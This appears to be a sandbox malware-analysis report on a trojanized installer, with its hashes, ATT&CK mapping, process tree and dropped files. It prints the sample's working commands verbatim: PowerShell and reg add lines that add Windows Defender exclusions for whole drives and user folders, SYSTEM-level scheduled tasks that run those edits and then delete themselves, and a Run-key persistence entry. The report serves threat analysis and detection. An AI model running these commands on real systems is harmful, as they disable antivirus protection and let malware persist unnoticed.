fb9cfda5134a8156f76cd8c0bfc3578191927dbd362dbf8b89748630664eede2

Analysis

max time kernel
151s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 16:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.2.0.03.exe
Size 34.6MB
Sample261020-t12a8ssvbx
SHA256 fb9cfda5134a8156f76cd8c0bfc3578191927dbd362dbf8b89748630664eede2
MD5 789edd01dd2263620ecd723a86a97037
SHA1 85e4d86b40249d2eb8788e7358de4a5fee70d287
SHA512 740437bd17c08c6eb2c6494050b2727651f7fc1a938bb631805dd3814d90f3c58b32b34508eaaca8640fa472264ea931fd9a8b1851fe259eb9e407683e8cd825
SSDEEP 98304:96ukQmHTpksa7ffG6slKxMzfM3nJ76KVfMYrvjgAc:sukQmH0HmKxofM3nl6UfMYrLgAc
TLSH
T199876F22B6428CD2F00285F45897BBA427FEFCB18AD1C71336E95B1E6FAE18C8D57055
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence trojan

Malware Config

Signatures

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\FMxCF1 = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2540	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
5980	0frxC9.exe
5580	0frxC9.exe

Loads dropped DLL 2 IoCs

pid	Process
5980	0frxC9.exe
5580	0frxC9.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\FMxCF1\\0frxC9.exe\""	0frxC9.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3260	cmd.exe
4504	cmd.exe
2784	cmd.exe
2788	cmd.exe
4124	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	0frxC9.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4064	cmd.exe
5840	cmd.exe
1500	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.03.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	0frxC9.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	0frxC9.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2304	schtasks.exe
5100	schtasks.exe
200	schtasks.exe
3416	schtasks.exe
4636	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
4876	install.2.0.03.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe
5980	0frxC9.exe

Suspicious behavior: LoadsDriver 7 IoCs

pid	Process
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found
812	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeIncreaseQuotaPrivilege	2540	powershell.exe
Token: SeSecurityPrivilege	2540	powershell.exe
Token: SeTakeOwnershipPrivilege	2540	powershell.exe
Token: SeLoadDriverPrivilege	2540	powershell.exe
Token: SeSystemProfilePrivilege	2540	powershell.exe
Token: SeSystemtimePrivilege	2540	powershell.exe
Token: SeProfSingleProcessPrivilege	2540	powershell.exe
Token: SeIncBasePriorityPrivilege	2540	powershell.exe
Token: SeCreatePagefilePrivilege	2540	powershell.exe
Token: SeBackupPrivilege	2540	powershell.exe
Token: SeRestorePrivilege	2540	powershell.exe
Token: SeShutdownPrivilege	2540	powershell.exe
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeSystemEnvironmentPrivilege	2540	powershell.exe
Token: SeRemoteShutdownPrivilege	2540	powershell.exe
Token: SeUndockPrivilege	2540	powershell.exe
Token: SeManageVolumePrivilege	2540	powershell.exe
Token: 33	2540	powershell.exe
Token: 34	2540	powershell.exe
Token: 35	2540	powershell.exe
Token: 36	2540	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 5980 wrote to memory of 2540	5980	0frxC9.exe	91
PID 5980 wrote to memory of 3260	5980	0frxC9.exe	94
PID 3260 wrote to memory of 2304	3260	cmd.exe	97
PID 3260 wrote to memory of 3932	3260	cmd.exe	98
PID 3260 wrote to memory of 4360	3260	cmd.exe	101
PID 5980 wrote to memory of 4504	5980	0frxC9.exe	102
PID 4504 wrote to memory of 5100	4504	cmd.exe	105
PID 5980 wrote to memory of 2784	5980	0frxC9.exe	106
PID 2784 wrote to memory of 200	2784	cmd.exe	108
PID 4504 wrote to memory of 2476	4504	cmd.exe	109
PID 5980 wrote to memory of 2788	5980	0frxC9.exe	110
PID 2784 wrote to memory of 2100	2784	cmd.exe	113
PID 2788 wrote to memory of 3416	2788	cmd.exe	114
PID 4504 wrote to memory of 2820	4504	cmd.exe	115
PID 2788 wrote to memory of 4252	2788	cmd.exe	116
PID 2784 wrote to memory of 5744	2784	cmd.exe	117
PID 5980 wrote to memory of 4124	5980	0frxC9.exe	118
PID 2788 wrote to memory of 2488	2788	cmd.exe	120
PID 4124 wrote to memory of 4636	4124	cmd.exe	121
PID 4124 wrote to memory of 3144	4124	cmd.exe	124
PID 4124 wrote to memory of 3704	4124	cmd.exe	126
PID 4064 wrote to memory of 5444	4064	cmd.exe	128
PID 5840 wrote to memory of 4548	5840	cmd.exe	129
PID 1500 wrote to memory of 3428	1500	cmd.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.03.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4876

C:\Users\Public\FMxCF1\0frxC9.exe
"C:\Users\Public\FMxCF1\0frxC9.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FMxCF1\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3260
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\FMxCF1\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2304
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3932
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2476
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2784
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:200
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2100
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:5744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3416
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4252
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4636
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3704

C:\Users\Public\FMxCF1\0frxC9.exe
"C:\Users\Public\FMxCF1\0frxC9.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5580

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FMxCF1" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\FMxCF1" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:5444

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3956

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5840
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4548

C:\Windows\system32\cmd.exe
"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1500
- C:\Windows\System32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:3428

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Persistence

T1070.009

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 1KB
SHA256 374997ed64d0bbb8942d37b42c73dffe7ed52d5b87edd2be21aa1b2305c1fc02
MD5 f9cc997ece23e0c283b5c3058e53c269
SHA1 fd97d460b158647a4ac7d9153ad42e93d615072f
SHA512 b9634a89ae8b58ad16607ef2b95d6bbe6cbb339bb50f3ca22e49cfe42cf4a8cd9e018ef5f362fe306b60339d5aa92da5af520c51fcd2cf51a0a3893ec5b56d9c
TLSH
T1A531C6BB2F797D858F2B8E4125CEF1221CF5A190ACC614C62106D4985E083B11F5E60C
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 1KB
SHA256 e35a75bf9c53a21daa177f8c9a0c7f34cc94b1e0e7f23e9542b3658008a0591a
MD5 6b8ab24f5cefd611fd244bc5a873a087
SHA1 a20bf3cd76e51b427d2d6aac9b7892c39b680d5c
SHA512 765aa0a6b47bf18f1aa08c827bff9a53bb3ec728be1d10052d2a32c93eb736a85048a4af6ec280a8e743ec8fc7cfaf16dcc93a595f2ad848de2eac2766d80b50
TLSH
T11B31D693DF3900429F0C8F74A6E1CA3B6DF564205CF84C52666ED26A4609BB75F85454
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
Size 512B
SHA256 d3ce3a108cb72c24be2c6ff3c65e390181957e6ad595f55b5eae466d2a8c0b05
MD5 a77439c11881c3a6104b78215ea2759f
SHA1 1e70653162914a115790750eb964f4f063b51e02
SHA512 0f5dc5d0e648ae6b1b9f39bdfc8fd1020157e198e218062772c422e3ec6241608c12ab614bb4e1a87e20fdb01169e704006bd52273ac710609e9588c05d60ee2
TLSH
T147F05C285478423EF133D93D86C939A61A7FFA023806459447E58B0DAA41B453F915BE
MD5 SHA1 SHA512 TLSH

Submit Download

B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
Size 506B
SHA256 b1ace17a27fc5a4314c6998f7676406040457114baab59959f9b17b8c6e70c3e
MD5 b57817f8a2b00d97ce47b09823c6a07c
SHA1 ef950ce557b28a1e7a431da74614e223e781a9ad
SHA512 8f8e361c69cc3c4a5c7e18188ef0c61e99a26d8f92f088b32f739959ae3327857ce48e6d399e08fdef201632d88453da43e5d350660a8d38bd9e0d2cc801d36b
TLSH
T175F05C3E9AE9412BF07BF2B847DB75F15D66F222100A52AB0AF902885EA5D402C42279
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3ucpyeby.zmi.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ucpyeby.zmi.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

0frxC9.exe

Path C:\Users\Public\FMxCF1\0frxC9.exe
Size 135KB
SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
MD5 9ec587911e501b73b7cf09f05d0ae17d
SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
TLSH
T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UxEnhance64.dll

Path C:\Users\Public\FMxCF1\UxEnhance64.dll
Size 3.1MB
SHA256 47522987b1b0f40a7242038fb4e31b1a9be5f4aafde32944afea671c049082c6
MD5 2c50aff25becd8d76b3424a43659786b
SHA1 456e20b6fcababe007e002a1af939c280e992b22
SHA512 4f18f6769026a90f92f2d104be794035fec2c0e91f5c85b38a06273d533ee9e6a1a41132236f56dbb7ebb8e7167ec4a885a95bb1dec7f48b7decf952626a9f5c
SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+F:P9m29xx3Tiqt06ox6+z2rNNrKoF
TLSH
T1EDE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

adoresd.dat

Path C:\Users\Public\FMxCF1\adoresd.dat
Size 4.7MB
SHA256 7f82d6eaec9b0666c1fa9e4f619e879c760a0e6427514e6af31f5e6c1f83814e
MD5 a14e7981bbbdeaf1b25c8bb6185a57e4
SHA1 68c83e03af700d233fb723b605fbb490b78e5fb4
SHA512 dc56be0906fdbf4ea8ecb55fb4edfe2ce9e16c6e017bd20a9ad20907a11976cdd198197c692e6f9a7e71681b80b74140f21baa4e81701a245a0432777161ea90
SSDEEP 98304:hKC/XwuPMlcCGQtZspbohHC0CYxm5YrKjaHhIVyU8zU9VQIr6K:hKClqhi0Cv54K2IVS0VQg
TLSH
T1D73633C90DC0ED7D61810A8478A91192F6713147E2F1E6E8FD6C7E0AB87FD52E1A3B58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msadox.tb

Path C:\Users\Public\FMxCF1\msadox.tb
Size 8KB
SHA256 10cb8b929711aa417d894c0f759f5a89b634f8aba74f2e6be9a7291cc1703361
MD5 2c3c765d26de0551f78f3f5b52c803aa
SHA1 d9f85fb0caf98f5632ce68bb30847869907a0112
SHA512 d21f941eea82eb0d61a5e4fd13c813eaa9e06ce0364c2cc60d21d2dc2267247ff486beb3d7f19ab35e90cfcd68792aa9b0195be74d1780ee2d50ecb79f2fe2d4
SSDEEP 192:IqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:IsZqZOXQ3uqvR2Kfzp
TLSH
T154029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2540-606-0x00000189C3F40000-0x00000189C3F4A000-memory.dmp

Download

memory/2540-604-0x00000189C4200000-0x00000189C42B2000-memory.dmp

Download

memory/2540-603-0x00000189C3F20000-0x00000189C3F3E000-memory.dmp

Download

memory/2540-600-0x00000189C3EC0000-0x00000189C3EE2000-memory.dmp

Download

memory/4876-525-0x00007FFE8EC10000-0x00007FFE8EC22000-memory.dmp

Download

memory/4876-524-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/4876-0-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/4876-504-0x00007FFE8EC10000-0x00007FFE8EC22000-memory.dmp

Download

memory/4876-2-0x0000000002050000-0x000000000205C000-memory.dmp

Download

memory/4876-1-0x0000000000440000-0x000000000044E000-memory.dmp

Download

memory/5580-580-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-591-0x00007FFE9CAB0000-0x00007FFE9CAB2000-memory.dmp

Download

memory/5580-589-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-590-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-588-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-583-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-587-0x000001C639AC0000-0x000001C63A347000-memory.dmp

Download

memory/5580-582-0x00007FFE9CAC0000-0x00007FFE9CAC2000-memory.dmp

Download

memory/5580-577-0x00007FFE79DC0000-0x00007FFE7A2DE000-memory.dmp

Download

memory/5980-558-0x00000179762B0000-0x000001797633A000-memory.dmp

Download

memory/5980-556-0x0000017974F50000-0x0000017974F9E000-memory.dmp

Download

memory/5980-544-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-545-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-567-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-543-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-565-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-563-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-546-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-550-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-560-0x00000179762B0000-0x000001797633A000-memory.dmp

Download

memory/5980-561-0x00000179762B0000-0x000001797633A000-memory.dmp

Download

memory/5980-559-0x00000179762B0000-0x000001797633A000-memory.dmp

Download

memory/5980-539-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-538-0x00007FFE9CAC0000-0x00007FFE9CAC2000-memory.dmp

Download

memory/5980-536-0x0000017975A20000-0x00000179762A7000-memory.dmp

Download

memory/5980-531-0x00007FFE79DC0000-0x00007FFE7A2DE000-memory.dmp

Download

memory/5980-530-0x00007FFE9CAB0000-0x00007FFE9CAB2000-memory.dmp

Download